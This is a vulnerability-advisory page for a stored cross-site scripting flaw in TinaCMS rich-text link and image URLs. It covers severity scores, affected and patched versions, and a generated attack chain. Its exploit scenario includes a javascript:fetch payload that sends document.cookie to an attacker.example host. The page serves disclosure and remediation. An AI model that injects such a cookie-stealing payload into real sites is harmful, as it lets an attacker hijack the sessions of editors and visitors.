Skip to main content

TinaCMS EUVDEUVD-2026-41141

| CVE-2026-55661 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-18 https://github.com/tinacms/tinacms GHSA-2vcc-5v34-9jc8
4.8
CVSS 4.0 · Vendor: https://github.com/tinacms/tinacms
Share

Severity by source

Vendor (https://github.com/tinacms/tinacms) PRIMARY
4.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
5.4 MEDIUM

PR:L because editor authentication is required; S:C because stored XSS crosses to victim browsers; no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (https://github.com/tinacms/tinacms).

CVSS VectorVendor: https://github.com/tinacms/tinacms

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
A
Scope
X

Lifecycle Timeline

3
CVSS changed
Jul 01, 2026 - 21:22 NVD
4.8 (MEDIUM)
Source Code Evidence Fetched
Jun 18, 2026 - 14:09 vuln.today
Analysis Generated
Jun 18, 2026 - 14:09 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 7 npm packages depend on @tinacms/mdx (3 direct, 4 indirect)
  • 3 npm packages depend on tinacms (3 direct, 0 indirect)

Ecosystem-wide dependent count for version 2.1.7 and other introduced versions.

DescriptionCVE.org

TinaCMS rich-text parsing and the default link/image renderers did not sanitize the url field on Slate link/image nodes. Content containing javascript: or data:text/html URLs - including case-variant, whitespace-padded, and control-character-obfuscated forms - is rendered into href/src and executes when the content is viewed. Any actor able to author rich-text content (for example a lower-privileged editor, or imported/external content) can achieve stored XSS against editors and site viewers.

Fixed in https://github.com/tinacms/tinacms/pull/7056 via a sanitizeUrl() helper (case-insensitive, whitespace/control-character-normalized scheme allow-list) applied recursively to Slate trees at parse time and in the default rich-text rendering.

AnalysisAI

Stored XSS in TinaCMS rich-text rendering allows any content author with editor-level access to inject javascript: or data:text/html URLs into Slate link/image nodes, which execute in the browsers of editors and site visitors when affected content is viewed. Both tinacms (< 3.9.3) and @tinacms/mdx (< 2.1.7) are confirmed affected, with the vulnerable path covering case-variant, whitespace-padded, and control-character-obfuscated scheme bypass techniques indicating deliberate evasion of naive sanitization. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Attacker authenticates as lower-privileged CMS editor
Delivery
Insert Slate link/image node with javascript: URL (case/whitespace bypass)
Exploit
Save poisoned content to CMS backend
Install
Victim opens page or CMS editor view
C2
Browser renders unsanitized href/src
Execute
Injected JavaScript executes in victim's session context
Impact
Exfiltrate cookies or perform authenticated actions as victim

Vulnerability AssessmentAI

Exploitation The attacker must hold an editor-level (or higher) CMS account, or must control an external content source that is imported into TinaCMS as Slate JSON or MDX - for example, a headless Git-backed content import. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment No vendor or NVD CVSS score is available; this report uses an independently assessed vector. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker holding a lower-privileged CMS editor account opens a TinaCMS rich-text document and inserts a link node whose `url` field contains `javascript:fetch('https://attacker.example/c?d='+document.cookie)`, exploiting case or whitespace bypass to defeat any naive scheme check. When a site administrator or authenticated visitor later opens the page, the browser executes the injected script in the victim's security context, exfiltrating session tokens. …
Remediation Upgrade `tinacms` to version 3.9.3 or later and `@tinacms/mdx` to version 2.1.7 or later via npm; both patched versions are introduced in PR #7056 (https://github.com/tinacms/tinacms/pull/7056). … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

EUVD-2026-41141 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy